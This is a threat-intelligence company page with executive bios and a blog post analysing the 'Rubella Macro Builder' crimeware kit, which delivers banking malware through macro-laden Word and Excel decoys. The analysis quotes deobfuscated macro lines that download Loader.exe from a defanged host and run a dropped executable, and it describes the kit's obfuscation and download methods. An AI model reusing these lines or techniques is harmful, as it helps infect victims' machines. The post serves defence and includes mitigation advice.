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Josh Lefkowitz
Chief Executive Officer
Josh Lefkowitz executes the company’s strategic vision to empower organizations with Business Risk Intelligence (BRI). He has worked extensively with authorities to track and analyze terrorist groups. Mr. Lefkowitz also served as a consultant to the FBI’s senior management team and worked for a top tier, global investment bank. Mr. Lefkowitz holds an MBA from Harvard University and a BA from Williams College.
Evan Kohlmann
Chief Innovation Officer
Evan Kohlmann focuses on product innovation at Flashpoint where he leverages fifteen years’ experience tracking Al-Qaida, ISIS, and other terrorist groups. He has consulted for the US Department of Defense, the US Department of Justice, the Australian Federal Police, and Scotland Yard’s Counter Terrorism Command, among others. Mr. Kohlmann holds a JD from the Univ. of Pennsylvania Law School and a BSFS in International Politics from the Walsh School of Foreign Service at Georgetown Univ.
Josh Devon
Chief Operating Officer / VP Product
Josh Devon focuses on product vision and strategy at Flashpoint while ensuring the company’s departments function synergistically during its rapid growth. He also works to ensure that customers receive best in class products, services, and support. Previously, Mr. Devon co-founded the SITE Intelligence Group where he served as Assistant Director. He holds an MA from SAIS at Johns Hopkins Univ. At the Univ. of Pennsylvania, he received a BS in Economics from the Wharton School and a BA in English from the College of Arts and Sciences.
Jennifer Leggio
Chief Marketing Officer / VP Operations
Jennifer Leggio is responsible for Flashpoint’s marketing, customer acquisition, and operations. Ms. Leggio has more than 20 years of experience driving marketing, communications and go-to-market strategies in the cybersecurity industry. She’s previously held senior leadership roles at Digital Shadows, Cisco, Sourcefire, and Fortinet. She’s been a contributor to Forbes and ZDNet, and has spoken on the importance of coordinated disclosure at DEF CON and Hack in the Box, and on threat actor “publicity” trends at RSA Conference, Gartner Security Summit, and SXSW Interactive.
Chris Camacho
Chief Strategy Officer
Chris Camacho partners with Flashpoint’s executive team to develop, communicate, and execute strategic initiatives pertaining to Business Risk Intelligence (BRI). With over 15 years of cybersecurity leadership experience, he has spearheaded initiatives across Operational Strategy, Incident Response, Threat Management, and Security Operations to ensure cyber risk postures align with business goals. Most recently as a Senior Vice President of Information Security at Bank of America, Mr. Camacho was responsible for overseeing the Threat Management Program. An entrepreneur, Mr. Camacho also serves as CEO for NinjaJobs: a career-matching community for elite cybersecurity talent. He has a BS in Decision Sciences & Management of Information Systems from George Mason University.
Lisa Iadanza
Chief People Officer
Lisa M. Iadanza leads all functional areas of People Operations at Flashpoint, including human resources, talent acquisition & management, employee engagement, and developing high performance teams. In addition to collaborating with the executive team to drive strategic growth, she plays an integral role in fostering Flashpoint’s culture and mission. Driven by her passions for mentorship, employee advocacy, and talent development, Ms. Iadanza has more than twenty years of experience in building, scaling, and leading human resources functions. Prior to Flashpoint, she held leadership roles at Conde Nast, Terra Technology, and FreeWheel. She is a member of the Society for Human Resources Management (SHRM) and holds a bachelor’s degree in management with concentrations in human resources and marketing from State University of New York at Binghamton.
Rob Reznick
VP of Finance and Corporate Development
Rob Reznick leads the finance, accounting, and corporate development teams at Flashpoint. Rob previously served as Director of Finance & Accounting for 1010data (acquired by Advance/Newhouse), and Director of Finance for Financial Guard (acquired by Legg Mason) after prior work in forensic accounting and dispute consulting. Mr. Reznick is a Certified Public Accountant and holds an MBA and MAcc from the Fisher College of Business at the Ohio State University, and a BBA from the Ross School of Business at the University of Michigan.
Lance James
Chief Scientist / VP Engineering
Lance James is responsible for leading Flashpoint’s technology development. Prior to joining Flashpoint in 2015, he was the Head of Cyber Intelligence at Deloitte & Touche LLP. Mr. James has been an active member of the security community for over 20 years and enjoys working creatively together with technology teams to design and develop impactful solutions that disrupt online threats.
Brian Costello
SVP Global Sales and Solution Architecture
Brian Costello, a 20-year information technology and security solutions veteran, is responsible for leading the Global Sales, Solution Architecture, and Professional Services teams at Flashpoint. Throughout his career, Brian has successfully built security and cloud teams that have provided customers with innovative technology solutions, exceeded targets and consistently grown business year over year. Prior to Flashpoint, Brian led a global security and cloud vertical practice for Verizon. Brian also held senior leadership roles at Invincea, Risk Analytics and Cybertrust. Brian received his B.A. from George Mason University.
Tom Hofmann
VP Intelligence
Tom Hofmann leads the intelligence directorate that is responsible for the collection, analysis, production, and dissemination of Deep and Dark Web data. He works closely with clients to prioritize their intelligence requirements and ensures internal Flashpoint operations are aligned to those needs. Mr. Hofmann has been at the forefront of cyber intelligence operations in the commercial, government, and military sectors, and is renowned for his ability to drive effective intelligence operations to support offensive and defensive network operations.
Jake Wells
VP Customer Success
Jake Wells leads the company’s customer success team, serving as an internal advocate for our government and commercial clients to ensure Flashpoint’s intelligence solutions meet their evolving needs. He leverages a decade of experience running cyber and counterterrorism investigations, most recently with the NYPD Intelligence Bureau, to maximize the value customers generate from our products and services. Mr. Wells holds an MA from Columbia University and a BA from Emory University.
Brian Brown
VP Business Development
Brian Brown is responsible for the overall direction of strategic sales and development supporting Flashpoint’s largest clients. In his role, Mr. Brown focuses on designing and executing growth-oriented sales penetration strategies across multiple vertical markets, including both Government and Commercial, supporting Flashpoint’s Sales and Business Development Teams. An experienced entrepreneur, Mr. Brown also serves as CSO for NinjaJobs, a private community created to match elite cybersecurity talent with top tier global jobs and also advise growth-stage cybersecurity companies.
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Flashpoint Introduces Innovative Approach for Use Case-Driven Intelligence

‘Rubella Macro Builder’ Crimeware Kit Emerges on Underground

Blog
April 25, 2018

A crimeware kit dubbed the Rubella Macro Builder has recently been gaining popularity among members of a top-tier Russian hacking forum. Despite being relatively new and unsophisticated, the kit has a clear appeal for cybercriminals: it’s cheap, fast, and can defeat basic static antivirus detection.

First offered for sale in late February for the relatively low price of $500 USD per month, the Rubella Macro Builder has since undergone various updates, additions, and pricing changes. While newer versions of the builder are significantly cheaper—as of April, a three-month license is $120 USD—they also come with enhanced features including various encryption algorithm choices ( XOR and Base64), download methods (PowerShell, Bitsadmin, Microsoft.XMLHTTP, MSXML2.XMLHTTP, custom PowerShell payload), payload execution methods (executable, JavaScript, Visual Basic Script), and the ability to easily deploy social engineering decoy themes with an Enable Content feature turned on to run the macro.

Typically distributed to its intended victims via Microsoft Word or Excel email attachments, the Rubella-generated malware acts as a first-stage loader for other subsequent malware downloads and installations on targeted machines. It does not utilize any vulnerabilities but relies on social engineering techniques to force victims to enable malicious macro execution to run it. The builder allows the generation of Microsoft Word (.DOC) and Microsoft Excel (.XLS) payloads. The latest observed version of this malware builder is 1.4. 

Flashpoint’s analysis of a sample of the Rubella Macro Builder revealed that it works as follows:

Screenshot of the macro settings of the Rubella Macro Builder
Image 1: Screenshot of the macro settings of the Rubella Macro Builder.
Image 2: The Rubella document imitates a DPD shipping document in protected view. The document asks the potential victim to enable macros.
Image 2: The Rubella document imitates a DPD shipping document in protected view. The document asks the potential victim to enable macros.

The Visual Basic code is split into the Modules and Forms folder objects as follows:

1. Random Value [A-Za-z]{6}

 2. “UserForm1”

Image 3: The Rubella developer section displays various obfuscated macro code.
Image 3: The Rubella developer section displays various obfuscated macro code.

The macro junk and substitution method appears to be relatively primitive, relying on basic string substitutions. Additionally, its copy/paste implementation of the Base64 algorithm is displayed in Visual Basic Script (VBS) code implementation. The code is obfuscated through general Chr ASCII values.

The observed server call request is achieved via the IXMLHTTPRequest method in this specific variant. The macro code contains auto execution when the Word document is opened via an AutoOpen call. Additionally, the code has logic to delete the file if it exists via a Kill call.

Two important decoded functions responsible for malware download and execution are:

1. CreateObject(“Wscript.shell”)Run, “C:\Users\Public\mputernoticeme.exe”, True)

2. CreateObject.Open “GET http://www.senescence[.]info/download/Loader.exe, False)

Images 4-5: The Rubella Macro Builder's deobfuscated Wscript execution code, which leads to execution of the "Panda" banking malware.
Images 4-5: The Rubella Macro Builder’s deobfuscated Wscript execution code, which leads to execution of the “Panda” banking malware.

Two Rubella malware infections led to the execution of the Panda banking malware version 2.6.6 and Gootkit banking malware. Panda and Gootkit banking malware feature credential harvesting capabilities, browser infection through webinjects, and remote PC access via a hidden virtual network computing (VNC) module. 

Flashpoint analysts determined that the criminal gangs behind the Panda and Gootkit banking malware each leveraged the Rubella first-stage loader as an initial attack vector in two recent but separate campaigns. It is likely that the gangs are customers of the actor offering Rubella on the underground. Specifically, the gangs behind the Panda malware distribution appear to have targeted customers through various social media platforms, as well as an Australian financial institution, through Panda’s webinject functionality.

Microsoft Office macro-based malware appears to still be threat actors’ preferred method for obtaining initial access to compromised machines. Such Microsoft Office-based loader malware works well as an initial decoy—disguising itself as a commonly exchanged Word or Excel document and impersonating normal Microsoft Office or Excel attachments—and is generally spread via email attacks. While relatively unsophisticated, the Rubella Macro Builder represents a moderate threat to various networks given its ability to defeat basic static antivirus detection. Its comparatively low pricing model may also add to the crimeware’s appeal.

Mitigation Recommendations 

• Exercise caution with email messages that contain suspicious Microsoft Word or Excel attachments, which are the primary method of distributing Rubella-generated first-stage loaders

• Examine and scrutinize any unknown Microsoft Word and Excel documents that ask to “Enable Content” to run macros. The Rubella malware relies on social engineering to persuade victims to run macro scripts by turning on the “Enable Content” security feature.

• Employ email and hunting detection mechanisms to identify Rubella malware.

• Review and monitor for indicators of compromise linked to this crimeware kit.

To download the indicators of compromise (IOCs) for the Rubella macro builder, click here.

avatar

Paul Burbage

Senior Malware Researcher

Paul is a Senior Malware Researcher at Flashpoint with over 15 years of experience in the threat intelligence and information security arena. He specializes in emerging threat research, botnet tracking, and reverse engineering malware. His passion lies in finding vulnerabilities in malware command and control infrastructure.

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